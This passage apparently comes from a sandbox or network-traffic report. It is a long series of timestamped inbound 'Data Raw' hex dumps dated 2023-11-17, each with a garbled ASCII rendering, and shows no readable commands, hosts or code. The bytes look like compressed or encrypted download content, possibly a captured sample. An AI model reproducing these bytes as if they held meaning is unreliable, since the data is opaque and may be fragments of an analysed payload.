3d a2 70 d0 fd 24 70 5d 73 ae a1 80 a5 cd 70 d1 e6 76 6f a8 5f 19 8c 91 a6 ff 4d df dc 22 a0 61 02 0f 83 95 06 7f de b0 21 2f 0e 41 17 5f d5 47 2e 84 74 50 06 5f 70 b1 ef 7d 0d 38 5a d8 37 91 8a 74 d6 Data Ascii: mqM_p1]\|+p0E1a6+O;C`p5&6_Nz?pG1U+Uad1e+fO^v_<HEaCH5_3np_}k=_Dp_T{poHf@M=p$p]spvo_M"a!/A_G.tP_p}8Z7t
2023-11-17 05:22:24 UTC	2758	IN	Data Raw: 21 36 bf 8f 38 5f fc c7 90 12 ed c8 40 1b 70 d0 72 bd a6 aa 20 ba 3f 91 87 ce b1 d7 b6 fb ed 7c 06 8b ab ec ec 9b 9e 9a d4 5f d8 cd 03 16 de aa b9 7a 70 8f a6 c4 23 ed 85 9f 7a 91 fe e4 5a d4 83 52 09 41 06 d1 16 ed a1 2b 08 0e 4b 5f 7c df 02 16 e6 ea 46 ef 70 43 0a 61 3b 7a 4c f8 f2 91 b2 f1 2c d7 a6 4b a0 06 06 b1 44 fc 65 72 3e 6d 70 5f dd 47 1f 1a d6 f2 31 e2 70 c7 00 de f5 69 8d 39 33 91 48 9e c2 d8 91 96 04 e6 06 db a7 15 b1 67 31 b0 09 5f a3 20 96 15 cb 38 21 94 70 51 c3 67 ea d4 fd a1 3b 91 7b 6b 76 d1 a3 e1 dc 9d 06 ef 26 e0 94 1c ea 0b 2e 5f 34 2f 51 1f d4 8a 5e 25 70 e7 d1 b8 89 d7 46 0c c7 91 cd 61 68 dd b8 11 14 5c 06 13 c7 47 aa 74 a9 9d 69 5f e7 bf d7 1a f8 6e b6 8e 70 17 be 81 ad 26 8a 7d 8d 91 17 f1 93 db 80 13 66 62 06 ce 7a 29 f8 65 bc Data Ascii: !68_@pr ?\|_zp#zZRA+K_\|FpCa;zL,KDer>mp_G1pi93Hg1_ 8!pQg;{kv&._4/Q^%pFah\Gti_np&}fbz)e
2023-11-17 05:22:24 UTC	2774	IN	Data Raw: b2 5d 81 91 a0 c7 cf 93 bc 5d 50 1c b1 5d b4 2e 04 2a ca 93 56 e7 72 61 b9 5d cb e4 be 5d 6c 47 cd e0 72 28 04 ef c8 93 4e e0 72 6e 84 32 41 bb f2 a0 f2 6c 84 2b c0 95 33 4c f4 3e b6 5f 42 00 fa 5a c6 b1 88 68 78 5d 39 57 e1 ab 9b ef 11 d0 35 c2 bc c6 35 7e cd 29 05 57 40 90 09 5f c3 92 37 7d 34 61 07 15 10 a1 06 23 04 93 e2 09 0b 31 2e 7a c1 84 27 ac 75 95 51 e0 71 91 64 d2 c3 90 22 e3 71 20 5e 0f 4a c3 3c 4d f8 ed 1c 1e 8a 91 6c 46 31 e1 0c 59 c4 91 95 46 75 91 06 5f 74 5c 8e 08 70 93 06 2f ac 5d 51 5f 58 cc 01 5f 71 99 1e 5e 0c 90 1a f7 70 1d 05 f4 70 8d 07 53 74 95 4a c7 70 b7 f9 5f 70 29 66 d1 22 9b 78 4e 70 90 48 cf 70 df d6 7d 75 02 1f 5e 06 bd 06 24 61 91 43 5e 6b d1 0e 50 1b 8f 47 55 7f db aa 42 31 93 45 5e cf 55 02 e0 ec 9d 4d 32 61 2e 6e 5f 53 Data Ascii: ]]P].*Vra]]lGr(Nrn2Al+3L>_BZhx]9W55~)W@_7}4a#1.z'uQqd"q ^J<MlF1YFu_t\p/]Q_X_q^ppStJp_p)f"xNpHp}u^$aC^kPGUB1E^UM2a.n_S
2023-11-17 05:22:24 UTC	2790	IN	Data Raw: 14 82 b4 9f e3 9b 71 95 ac 0a b3 90 25 9b 71 ba c2 5e 43 51 07 f5 76 51 07 64 b4 92 45 9b 71 da c2 5e 1a c2 c6 5e 7a 51 07 04 b0 90 c7 48 f4 fa c6 5e 71 91 8a 9b 77 05 c6 5e b5 d3 ae 0a ac b7 b1 9b 7e 2e c2 51 b7 59 08 bb d7 49 08 9e 78 50 2e 1b d0 4a 11 b5 b4 b9 4c ad b4 90 fc 9b 71 93 50 9c 71 9b 5b 9b 71 83 c6 5e b1 85 c7 6a e8 4d 12 67 ab 51 0c 5e 70 d1 c6 5e b1 95 4e 9f 71 50 dc 09 20 51 07 9e 5d c9 e2 5d 10 75 06 34 25 75 06 29 94 91 78 bf 70 99 e6 5f f9 3c 62 50 b0 f5 09 3e 73 79 7e 50 30 79 07 d7 ec af 4b b5 71 1b 3b 12 16 da ee df d1 c9 e4 4e 28 71 06 32 78 f4 06 e4 91 92 e7 5f 54 f1 02 3e 66 f0 06 5b 14 93 70 4b 10 93 e7 4d 80 75 1a 46 70 70 02 7f 2a c6 e1 48 d8 fd 08 32 57 c1 6e 5a a4 f4 7a 5a f0 f9 03 5f d2 6e 24 3d ef cf 68 12 12 96 63 4c 81 Data Ascii: q%q^CQvQdEq^^zQH^qw^~.QYIxP.JLqPq[q^jMgQ^p^NqP Q]]u4%u)xp_<bP>sy~P0yKq;N(q2x_T>f[pKMuFpp*H2WnZzZ_n$=hcL
2023-11-17 05:22:24 UTC	2806	IN	Data Raw: f6 5e 56 a0 37 c4 71 71 4a ce 73 f3 96 2f 5b d7 6f 30 a0 b7 53 06 20 91 47 0a 2f f8 69 3d 05 f7 2c 1f a2 bc 4e ce 43 7d 16 76 1c e6 0e 3e 09 e2 76 d6 13 fe 68 29 70 d1 65 30 14 f4 65 29 04 90 69 72 70 91 80 57 4f f6 69 53 1f f5 89 57 92 90 e6 54 4f e4 06 31 13 f0 73 38 18 e5 59 5f 15 e9 65 3a 00 e5 6f 30 73 37 01 4d 72 d0 00 60 13 fd 63 d3 11 e3 0b 5b 80 d6 4e 00 3e a0 1c 6d 2a a1 0d 1e 14 61 08 12 76 c2 47 73 28 c1 64 48 21 93 2c 6f 3f d8 68 e8 40 d1 78 50 01 dd 1b 0d 32 0e 12 43 20 03 b6 33 11 f6 75 b0 7b e0 12 db c0 9c 7a 3a 04 61 1f b0 71 01 2a 19 38 01 04 0d 2b 41 01 6e 38 d1 3a 59 c1 96 ca ef 71 c4 e8 31 a0 93 d9 5e a0 90 91 6e 6e 6e 13 eb 31 d3 97 6a 2e f8 68 39 1f 0b 0d 45 a3 e4 49 c4 71 c1 44 2d 5d b3 d7 5e 2f 94 cd dd 5f 60 07 9a e0 17 69 00 3f Data Ascii: ^V7qqJs/[o0S G/i=,NC}v>vh)pe0e)irpWOiSWTO1s8Y_e:o0s7Mr`c[N>mavGs(dH!,o?h@xP2C 3u{z:aq8+An8:Yq1^nnn1j.h9EIqD-]^/_`i?
2023-11-17 05:22:24 UTC	2822	IN	Data Raw: 38 fe d2 33 38 57 cf 27 b0 3f 72 5d 38 b4 90 91 e6 61 98 65 f2 61 f4 15 02 5b 4f 70 09 c5 e9 88 39 f6 70 32 25 60 d7 3c 2b 60 c7 11 b1 68 4f 57 c7 1e 4f f1 01 5f 4f 4d d0 09 4f 4a e6 3f 70 ae ec b5 1a ae ff ab 04 52 e2 47 67 91 0f a2 0c af 39 5f 47 91 1e a7 8e 6f 39 5f 48 91 c0 e0 4f 6f 39 60 70 a6 06 ec 64 ae 06 68 70 9e 06 a0 79 6e 39 5f 8f 98 39 5f 8f 98 39 5f 8f 99 f9 56 7f 91 f9 a0 79 ae 06 a0 79 ae 06 a0 79 6e 0f 60 79 6e 0f a0 7f 91 f9 56 4f 91 f9 56 4f 91 39 56 8f 98 39 5f 8f 6e 0f 50 70 6e 0f 60 70 6e 0f a0 79 ae 0f a0 79 6e 39 5f 8f 98 f9 5f 85 ae 37 60 41 d1 f3 60 c1 ae f9 ee 70 6e 39 20 70 ee 06 a0 4f 6e 39 a0 4f 6e 39 58 8f ae f9 60 83 ae 77 cf 60 af 95 5f e0 01 38 83 aa 4b 38 d5 70 00 17 60 cf 27 30 60 ac 6d dc 05 86 9f f9 5e 8f 90 f9 5e 8f Data Ascii: 838W'?r]8aea[Op9p2%`<+`hOWO_OMOJ?pRGg9_Go9_HOo9`pdhpyn9_9_9_Vyyyn`ynVOVO9V9_nPpn`pnyyn9__7`A`pn9 pOn9On9X`w`_8K8p`'0`m^^
2023-11-17 05:22:24 UTC	2838	IN	Data Raw: b0 25 8f 7a 06 ba 90 6e 98 d1 f6 6e 5f 5f f1 36 f9 3d f7 2b f9 7a b0 f0 a1 a0 1a 71 ab 6d 70 60 03 5f a1 1f 48 a0 8b 4b bf a0 70 5d 8f 11 98 4c d1 8e b4 91 e0 bc 91 6e ea b6 98 6e 06 af 9e 7c f9 ad 80 61 f9 5f b4 28 a8 a0 ad 47 d6 a0 70 5b ba ec 8f 70 ad d8 8f 91 f9 92 e8 6e f9 9d 0f 6e 06 a0 c6 f4 f9 a0 da c4 f9 5f 9e 7b ee a0 c4 35 9a a0 70 aa 63 df 8f 84 4e cd 8f 11 43 d0 c7 6e 81 b9 cd a3 06 4e 85 94 fa b8 a0 63 03 83 a6 5f 04 d7 c1 94 f4 af 9f 6e f1 a9 f8 67 f9 a5 00 25 d7 97 ce 61 0a 5f ac 6e b4 fd e6 6e e7 ed 70 03 f9 a0 95 58 f9 a0 a9 9b a9 2f 76 07 e6 18 f0 6e dc 8d 70 5f f9 e3 df 37 f9 2b fc 91 82 a0 1f 21 c1 a0 d6 7c 08 91 46 91 fb 5a 80 86 56 b3 99 76 17 ed 75 6f fb a2 02 20 db 88 bf 94 f6 53 93 23 11 9d d2 1d f9 a0 71 e1 61 a0 80 71 f9 a0 94 Data Ascii: %znn__6=+zqmp`_HKp]Lnn\|a_(Gp[pnn_{5pcNCnNc_ng%a_nnpX/vnp_7+!\|FZVvuo S#qaq
2023-11-17 05:22:24 UTC	2854	IN	Data Raw: 03 74 7e 92 06 5d 6a 95 12 d0 95 42 1c 5f f6 3d 8b d1 1b 52 c9 df 70 fb d2 17 68 bd 7d 46 5e 81 36 7a 66 b2 02 08 1c fe 61 ed 1f ea 01 29 03 a3 07 ce 74 a5 45 38 70 bc 36 74 40 b8 a6 78 d0 9d 23 d9 25 92 a8 39 00 f2 67 6c 58 bc 61 6a f2 f7 32 87 10 b9 36 61 56 4e 66 80 10 41 66 fe 42 11 63 49 40 bb 12 d9 15 93 2e 39 58 70 07 4e 74 90 b6 52 d4 8c 36 44 41 88 36 55 67 52 29 4f b5 be 4b 0f 3b d8 16 72 42 bc 3e dc 74 9f 02 49 7e 95 79 3e 01 f0 8f 3c 0f 42 63 f8 70 53 db b3 cb 61 36 56 83 51 45 66 8a 93 a9 6c 80 04 d9 3f 70 91 50 7d 96 a5 a2 9b 11 91 cd 17 c9 90 ab 09 d8 f5 06 50 a9 1d 97 9b cb 5d 0a 5f 95 3c 7c ff 52 ee d9 18 70 a9 4c 72 1c 40 79 2e 6a 91 7a b3 00 38 b7 af 3f 75 06 50 7c c2 fc 4a 2e 6f 72 5f e8 d8 22 da f1 b7 1a ce 70 85 41 ef 3c f2 8a e4 d1 Data Ascii: t~]jB_=Rph}F^6zfa)tE8p6t@x#%9glXaj26aVNfAfBcI@.9XpNtR6DA6UgR)OK;rB>tI~y><BcpSa6VQEfl?pP}P]_<\|RpLr@y.jz8?uP\|J.or_"pA<
2023-11-17 05:22:24 UTC	2870	IN	Data Raw: 97 13 fe bc 81 d5 0c b8 ff 53 42 14 b9 7e 78 65 db 07 68 cb b2 67 70 c8 28 ee 8b 2a 5e 2b 2f 57 99 c5 ea 0b 50 23 89 c2 01 cb f8 f9 94 66 8c fb 56 a0 6c 2c 27 f3 3d 1a 33 dc 92 ab 7a 6a 45 a6 c9 e2 1d 40 19 f9 d7 0e b1 db ee 81 22 ae f2 c2 75 82 99 10 eb 50 79 5a ef 03 0e f0 10 c0 79 29 e0 37 05 4d 97 9c 53 f4 b0 04 4b 83 3a 06 55 04 c2 2f 74 96 01 ba a4 2d 87 a3 b7 91 41 02 53 bb 4c b0 be 04 b3 51 0f 6a 43 85 0a c4 72 d4 9a ec e9 92 d6 58 b5 44 b6 1c c9 a9 97 2f 71 94 58 03 c3 22 17 43 37 be 58 9c ff 43 6d 0e 77 c8 08 53 22 d5 d9 b2 9d e1 fc dc f4 bb 86 9b 4a a3 de aa 7b 66 3a 66 1a 3b 6c 5d 33 f4 3e 54 98 12 28 ac df 63 5d 67 dc 05 ac f0 63 0b 74 b1 98 45 00 bb 76 76 8d 91 26 92 34 07 02 c9 ba 9c 34 26 69 4c 07 7c 82 50 5e 3f 40 13 02 db da 3a c3 22 cd Data Ascii: SB~xehgp(*^+/WP#fVl,'=3zjE@"uPyZy)7MSK:U/t-ASLQjCrXD/qX"C7XCmwS"J{f:f;l]3>T(c]gctEvv&44&iL\|P^?@:"
2023-11-17 05:22:24 UTC	2886	IN	Data Raw: 7b 91 df 51 3b 6b 1e 05 47 79 fa 87 fe 90 d8 41 b8 f5 8c bc e9 f5 9c f8 bb 28 b3 40 30 35 cd 11 30 78 8c b4 30 7a 52 0d 4f 29 d9 cb eb 74 26 92 30 3d c9 10 eb f3 94 4c 3b 72 25 c1 b1 84 c8 c0 b1 68 26 92 3b 5f 52 05 47 7c 52 48 3b 72 8b cb fa 64 26 e2 6b 78 d1 cd f6 d8 50 52 8b fa cb 48 7c 3d 29 c1 8b fb a4 f4 ba 78 aa 18 38 05 29 4a c7 58 48 48 a7 58 26 90 bb 6e 52 51 bb 71 d9 10 30 32 d1 bf 6a 4b 19 6c 50 12 58 2c 33 69 e9 42 95 f3 94 40 b3 f3 d8 fa 53 7b d9 40 bb f3 91 24 53 f0 70 bf 44 78 52 0d 4b fb 18 41 32 35 f1 b0 50 da 91 5d 9f b5 ff 48 44 7a 09 40 a4 78 af 49 7c 3d 35 59 ba 2a 32 47 bb 7a 58 64 30 3d 35 60 30 9d 84 83 77 7e d9 15 30 b8 35 c3 57 60 61 2f 7b 7e d9 34 b3 90 60 2c b9 7a 94 aa 01 1d f8 42 b9 2d 35 f8 88 fb df ae 02 5a eb c3 bd 88 63 Data Ascii: {Q;kGyA(@050x0zRO)t&0=L;r%h&;_RG\|RH;rd&kxPRH\|=)x8)JXHHX&nRQq02jKlPX,3iB@S{@$SpDxRKA25P]HDz@xI\|=5Y*2GzXd0=5`0w~05W`a/{~4`,zB-5Zc
2023-11-17 05:22:24 UTC	2902	IN	Data Raw: b9 d6 52 3c 33 b0 9d 11 3b 11 79 2e 78 34 69 50 4b 3d 6b 50 4b 28 94 7b f6 80 68 50 6f 80 da 15 4b ca c9 11 bf af 58 23 2b 88 fc b4 7e 19 ee d2 ce 48 c1 41 3c f9 db 8f bd 46 08 99 af 8c cd a0 c8 99 17 82 a1 60 89 7c 53 f0 7b 2b fb fd 38 5f b9 66 c9 43 af 29 e5 31 9b 2d e9 23 f9 60 fc 4a bb f8 9e 34 64 fc 94 b8 33 35 d8 71 d1 f3 9b 44 38 98 d8 34 29 7f 4b 46 50 5f 3c 5e b9 0c 0b e2 aa 0d f8 12 53 18 ab 46 b7 93 dc 43 93 71 28 12 fa 74 8f 2a a7 f3 b9 b2 44 a8 52 88 cb 48 d9 4d b8 30 87 1d 78 08 d1 c9 fa 89 94 c9 b2 98 80 05 ab 48 4a cb fe 6c 50 42 fa 88 c3 58 32 09 dd c9 fa 60 c1 cb 7a 28 db b1 b8 2b 8f cb bb 8a 52 99 ec 12 b1 cb fd 7a d5 70 bf 80 b3 28 ec 90 a1 ea 8e 09 7f 48 0a a4 96 62 ee 37 39 4d bb 68 50 77 30 79 50 07 b7 78 52 03 9f f1 9e 18 30 3b d9 Data Ascii: R<3;y.x4iPK=kPK({hPoKX#+~HA<F`\|S{+8_fC)1-#`J4d35qD84)KFP_<^SFCq(t*DRHM0xHJlPBX2`z(+Rzp(Hb79MhPw0yPxR0;
2023-11-17 05:22:24 UTC	2918	IN	Data Raw: 32 34 d9 64 83 1e 50 14 9f 44 18 e0 52 68 18 aa ab 99 d8 7a 5a 79 d9 7e 50 1d e2 a8 c4 1d 54 44 bf 13 19 44 db f3 9d 64 a3 70 f2 85 fb d8 d9 64 50 7c 52 40 ef 5c c9 cb f7 5c b9 c5 fb aa bf cb b2 06 f5 00 bd 68 cd c1 5a 99 de cd fb 7e 54 cc 8a 7c fd d3 7b 7d d6 f6 aa 1e d8 40 ab f9 18 42 ba 78 d9 c3 1b b8 db 0f ce 95 e9 44 9f d8 da e0 db fb 1b 42 f3 78 df 20 7a 7c dd 35 08 b9 dd c3 73 87 ea bf b3 fd 0b 87 bb 79 26 89 21 43 99 3e 88 f5 95 64 8f f8 d1 20 fa 99 db 73 72 1e 52 4a 3b 78 fd 50 80 b2 a4 46 fb 79 fd cb 7c 65 b8 41 fc 18 dd 11 bf 89 da 7b 41 04 d3 95 bb 71 fd d0 b3 50 da b9 30 e8 95 c4 ff 39 49 50 93 f1 59 40 ba 18 d8 5c 33 fc e8 c0 bd 78 c9 40 fa fb 23 b1 b8 64 d6 c5 af d5 da c0 a8 2c c9 4d 6e 3a 5a 60 41 4a d6 c5 26 88 d9 cd f3 78 f5 cb 7a b9 39 Data Ascii: 24dPDRhzZy~PTDDdpdP\|R@\\hZ~T\|{}@BxDBx z\|5sy&!C>d srRJ;xPFy\|eA{AqP09IPY@\3x@#d,Mn:Z`AJ&xz9
2023-11-17 05:22:24 UTC	2934	IN	Data Raw: 5b 7e d9 4b 7a 3a 96 c9 ad 0d 29 43 de 53 2d 45 cf 02 ea 80 31 7e cb 7d 6a 62 aa 47 99 61 32 0b 86 ba 19 20 bb 0a b8 7d 5b 3b d8 21 de 48 32 76 86 88 0a 40 3a 1d 32 68 af 45 21 93 bb 7c 08 40 a1 45 25 05 68 78 dc 91 bb 74 e4 be 6a 78 fb 54 03 7e b9 40 01 69 dc 7b 79 06 d9 57 31 74 eb c0 42 f8 ab 40 b7 f8 20 80 c8 7f 9b 7b db a8 a5 ae e5 bb eb 4c 4e 76 78 57 ba 2e 98 37 7b c5 9e 72 e5 70 5c 80 0f 07 dc d6 cd 29 db 66 3b 57 dc a0 a0 78 80 83 30 73 8c 73 7b 2e 59 c5 72 2f ad 5b 30 b3 49 61 bb 64 5c bf cf 7c e2 87 c6 68 c8 cb ea 7c 59 c0 fb fd 0b 50 ce 91 32 44 3a 79 54 44 3e 19 88 4a eb 90 23 c7 3d 66 59 1d ab 5d 19 5e c7 bb c7 91 c0 db 99 4b 88 f0 19 c5 72 59 8f 4f 3f d9 68 56 43 96 f2 ab ab ea f9 44 2a 2e c8 69 8b 7e f9 48 80 bf d6 cd 6b 0f d9 cb d1 43 09 Data Ascii: [~Kz:)CS-E1~}jbGa2 }[;!H2v@:2hE!\|@E%hxtjxT~@i{yW1tB@ {LNvxW.7{rp\)f;Wx0ss{.Yr/[0Iad\\|h\|YP2D:yTD>J#=fY]^KrYO?hVCD*.i~HkC
2023-11-17 05:22:24 UTC	2950	IN	Data Raw: ac f5 c9 c1 bd 69 c8 64 a9 69 78 f0 d7 7b d9 3d 7b d7 d3 73 72 fd 19 4f bb ec 18 cb 7a bb b1 18 dd 48 9a 40 7c 7d f8 43 ba b3 26 55 b9 28 39 51 38 80 c9 35 a4 10 f1 b8 c2 3b 39 41 ef 9a d8 bf cf e2 d6 c1 b9 72 fa 45 ba 78 52 4d 9a 79 99 73 7b fd 10 4f 2f 7c e2 e1 b5 1c 79 d2 3f 64 79 05 ec 0d a1 c5 a3 a3 1e 45 3a 7a 19 d8 bb 0c c4 40 31 7b e5 c0 c8 6f 59 3b 9b 79 e3 35 aa 5d 38 81 88 b1 d9 ca 33 f8 e8 06 bb f3 18 42 50 18 bd 28 0b 5e 9f 40 d3 72 75 c1 bb d0 59 40 eb 90 e5 b1 f9 87 99 15 ab db 71 34 39 32 d4 61 6a 76 89 a8 5d 0a 88 41 b7 fd d9 9b cf 6a 59 7b 3b 0b cd c1 49 7c d7 ca f8 7a 5d 80 dd 6d d1 fe df 1d 09 71 78 f2 c9 ca bb b2 e3 56 ce 64 5d 89 cf 68 cd ca eb 79 19 40 ed 79 ac 50 b5 fb 19 42 ab 6d 5d 89 ce 78 39 73 7b 93 dc 5b 7b fb dd 98 44 29 ca Data Ascii: idix{={srOzH@\|}C&U(9Q85;9ArExRMys{O/\|y?dyE:z@1{oY;y5]83BP(^@ruY@q492ajv]AjY{;I\|z]mqxVd]hy@yPBm]x9s{[{D)
2023-11-17 05:22:24 UTC	2966	IN	Data Raw: f8 20 8e 24 89 89 52 00 13 90 cc 4f 58 7a 89 a8 62 9b db 90 ec 90 44 90 1e 6e 52 e0 ce 98 d3 94 50 2f dc 61 96 99 9b 4a bf 41 9b 62 e0 7c 70 05 99 ec 3b f3 f4 5a d5 05 99 0b be 49 bf 18 54 a1 9a 7a 26 80 30 5b d5 35 a9 71 5d 46 ce 47 38 5e d1 78 b3 00 bb 29 8e a8 b2 f3 58 d1 ab fa 89 81 ba 2d 8a a8 41 f2 79 5e a8 1a c3 c1 b9 10 41 40 d8 2a 31 5a d4 78 d2 22 bc 18 db 20 b5 4e 19 d9 79 7f 89 98 ec 90 13 a0 be b0 de fb 7a 7f 9d 28 8a bc de 11 53 a3 19 d0 7b 79 b3 40 b3 90 a5 67 9a 79 dd 1f e5 25 c9 1b 3a bc 35 40 88 bb 52 14 bf 5c fd 80 b2 50 d2 90 b4 fd d5 3f b9 b8 d5 82 8d b8 d6 c5 c9 3d 58 41 d3 9a cc 4f 3e 1d 59 41 30 3a c4 61 cb f3 ec 88 cf 79 74 80 2a d9 d9 7d 73 5f 39 f7 b6 c0 79 40 fb fd 02 35 b4 d9 59 84 be 4e d8 80 be 93 e3 c5 72 77 5c 6c 08 58 d8 Data Ascii: $ROXzbDnRP/aJAb\|p;ZITz&0[5q]FG8^x)X-Ay^A@1Zx" Nyz(S{y@gy%:5@R\P?=XAO>YA0:ayt}s_9y@5YNrw\lX
2023-11-17 05:22:24 UTC	2982	IN	Data Raw: 7b 45 d8 40 cf 49 bf a0 be 38 d8 28 b9 78 ad 05 b7 84 b9 24 38 7d b9 e5 f1 6a e2 03 bc 27 87 03 87 2b d8 7c b9 74 d9 5b f3 f1 9f 44 c3 73 d9 cb bd 4b 02 ca a3 38 50 80 bd 93 d2 16 53 ec d9 30 3b 3d 98 00 31 83 26 4f 3f 80 f9 70 38 b8 22 10 ce 43 51 5d 3a a1 9e 46 b9 76 59 c2 ba 39 50 4e 50 71 91 16 53 19 9a 46 38 80 d9 46 7c 79 d8 46 43 33 ad 65 ed 28 31 cc 9e df db ad 3f 7e d6 c8 2c 59 e2 c9 de 75 30 d4 6b 78 1f 45 5e 28 dc d6 f0 e7 d1 d1 b3 72 41 48 cf 0a 88 48 fb 77 8f 13 53 a8 7f 02 be 91 db 26 9b 61 5a bb ab 05 89 c8 d7 65 3f da b2 51 dd 87 4b 31 ff 44 94 ed fc 44 36 5c dd 63 98 7c a5 5b 1a 7a 7b dc 13 7a d6 c5 b3 d8 d8 1e fb 11 49 83 33 65 3e 90 be 26 61 80 f8 74 d9 1b be 4a c9 7b b3 f3 d1 f0 b3 28 e3 88 bb 29 d1 35 bf f0 d8 b0 bb f2 95 64 b2 c8 92 Data Ascii: {E@I8(x$8}j'+\|t[DsK8PS0;=1&O?p8"CQ]:FvY9PNPqSF8F\|yFC3e(1?~,Yu0kxE^(rAHHwS&aZe?QK1DD6\c\|[z{zI3e>&atJ{()5d
2023-11-17 05:22:24 UTC	2998	IN	Data Raw: a8 b7 19 0a 19 7a 5a d9 ab 0c f1 f8 4c 38 73 c9 e6 68 c9 26 9a 3d dd 20 bb 56 50 1d bb 60 50 1d af f1 84 5c dd 7c 50 1d fa 02 db 4a bb 91 b8 79 db 1d 52 4d 3a 25 39 db 5b c6 50 3d a3 6c e0 5d 3a d8 f9 82 6d f3 1e 40 38 ba d5 53 78 f1 8c 50 b7 f1 9c c0 25 3a 84 0d a3 f3 cc 21 b9 fe 8c 5c 1a 00 58 e5 7b 0c 47 13 7a 2d ba d9 7e aa 58 18 bf 78 f0 c4 39 f0 38 16 f6 4c 52 15 8b 1a da c0 e8 29 8b 10 53 4e 07 62 2d 75 18 1a d2 f9 df 82 16 bb 52 86 cf 78 d0 c3 7b 74 52 8f a8 b3 59 ab b9 f3 16 cb ae 10 79 74 ab 43 09 e1 d7 b8 d9 35 bf 43 d9 81 cf 40 8a 13 eb 2a 31 6c 02 b0 1c dd db e7 75 c0 ba f3 d4 63 7c e5 19 65 ea 90 25 40 f7 10 ad 75 9a 5f d4 62 17 6c 9a d9 fa a0 ad 5a 1b fb 21 48 cf 75 b8 d8 ad 19 c6 36 95 38 16 a1 bb 6c f9 0f d8 59 f9 d7 bf 18 71 41 ce 71 fc Data Ascii: zZL8sh&= VP`P\\|PJyRM:%9[P=l]:m@8SxP%:!\X{Gz-~Xx98LR)SNb-uRx{tRYytC5C@*1luc\|e%@u_blZ!Hu68lYqAq
2023-11-17 05:22:24 UTC	3014	IN	Data Raw: 6e f8 f2 35 39 53 b6 c3 90 0a d9 4a 34 53 58 c1 90 36 32 00 38 1d c9 c0 90 62 c9 c2 90 80 ca 69 8b 72 ce 26 38 dc a4 50 2e 53 2d 30 27 53 f8 46 be 41 48 6b a3 4c 46 6b 24 53 4b 6b d1 87 d9 28 63 4f 9a 40 d3 44 35 50 f9 78 bd e1 8a 16 89 24 32 7a fc 31 bb fb 35 50 e8 2e 8e 00 32 1d 31 bf ae 10 89 51 88 38 0b ca 6f f1 cc c0 cb 72 52 d0 73 f9 38 bf aa 51 d4 3c 6b 78 d9 81 5a 70 da 8a 32 75 a1 61 1a 78 31 50 18 0c a9 40 d1 78 cd a8 e1 48 fb 19 eb 73 d1 2a a7 7c 31 da 0b 7a 80 c3 de 84 d9 44 53 6d 89 4a 44 6d d9 71 f8 78 d9 e3 53 33 90 40 53 01 d9 34 bb 78 7a 6c 96 3e d9 40 53 5a ab 40 bb 90 bd 31 3a 38 d9 d5 6b 87 26 e1 2b 28 dd c4 18 ec 99 40 eb 87 ec c8 db 78 d1 bf 8e fc 89 40 53 42 61 be f1 87 89 4e 32 68 c4 a8 21 08 db cb bb 3d 35 cb b3 f3 d0 c9 f6 38 39 Data Ascii: n59SJ4SX628bir&8P.S-0'SFAHkLFk$SKk(cO@D5Px$2z15P.21Q8orRs8Q<kxZp2uax1P@xHs*\|1zDSmJDmqxS3@S4xzl>@SZ@1:8k&+(@x@SBaN2h!=589
2023-11-17 05:22:24 UTC	3030	IN	Data Raw: bb 2e a7 50 30 0c fd 48 d1 d8 dd 16 53 bc 50 a2 95 77 38 41 be 1c f6 30 b9 4f ac 46 38 9e 06 40 38 96 de cb 7d 26 1a cb bb 2c fd 44 44 32 dd 38 b2 78 52 4a b4 ce d8 01 32 72 f9 83 e9 90 99 33 bb 7f 1a c3 d9 04 f9 43 cf 77 26 e0 bc 19 d9 a8 1f 7e 71 81 b2 bb 8f 81 b2 2f f9 42 9b 68 26 46 53 c6 79 71 30 80 c9 17 53 03 e2 00 ac fd 19 19 bb 0d 3e cb 7c 27 87 83 ee b0 52 ac e8 b8 c2 a8 8e 58 ed e0 b9 70 d6 c4 9b 59 e1 18 b3 fd 02 c8 b4 fc cc 00 ba fb 22 45 fb 0d d9 20 b3 78 b3 41 e3 91 d4 4d b9 7a d8 00 60 99 f4 4d db 56 9f 08 bb f1 94 c0 8f 74 50 22 ba f3 d9 08 bf fb 20 48 b4 fd 11 41 19 7b f1 0f ff 78 52 55 97 79 79 40 b8 a9 8f 7b 71 05 cc 40 36 4c 90 6b 6a f5 ed f5 b9 c0 b9 f7 38 5e d9 c3 7d 74 d9 0a ce 8f 52 40 30 4d ed 41 db 7c e4 ce bb 78 19 35 b7 6c 1e Data Ascii: .P0HSPw8A0OF8@8}&,DD28xRJ2r3Cw&~q/Bh&FSyq0S>\|'RXpY"E xAMz`MVtP" HA{xRUyy@{q@6Lkj8^}tR@0MA\|x5l
2023-11-17 05:22:24 UTC	3046	IN	Data Raw: 4d f1 e9 cd bb 4c e6 81 52 67 d2 b1 30 78 91 48 30 af 50 30 bf b9 59 aa a4 a9 38 4b 71 27 b9 c2 ba de dc 10 b3 f3 91 44 30 8a d9 cb 42 b9 3f 5f 6a 91 d2 02 75 18 52 cb b3 b9 3e 20 ba a9 d9 aa b0 b7 86 c9 eb 70 50 03 3b 7d 3b ea ab f3 9c 4c 9b c2 c9 40 88 aa e2 82 ed bf 9c bc b9 36 79 c0 32 6b 50 13 bf f1 d9 13 b3 0e 88 17 32 3d c9 40 30 8b 54 3d 4b dd 7c 13 33 dd 31 30 1b 6a 8a a8 d1 d8 d9 c0 36 3d 29 10 e8 90 db a2 ba 7e 83 e0 bb d8 41 c3 de 8c d9 c3 1b 1d 21 40 b4 c6 f9 76 4b 7b dd 42 5a 3a 0b 5c 44 3d d1 bf f6 78 c9 35 0d 4b 0b 1f 82 2b d9 48 ce 50 52 0b bf f3 18 40 7a 90 c9 c9 f8 70 52 43 bb f3 29 81 55 68 18 a1 ab 78 d2 b1 7a 98 c9 c1 fe 84 db b0 9b e5 50 33 bf f1 da ab b9 ab 9b d5 3e 0b d1 35 ab 2b c5 a8 4f 38 d0 e0 b8 99 79 19 50 93 d9 26 30 3d 25 Data Ascii: MLRg0xH0P0Y8Kq'D0B?_juR> pP;};L@6y2kP2=@0T=K\|310j6=)~A!@vK{BZ:\D=x5K+HPR@zpRC)UhxzP3>5+O8yP&0=%
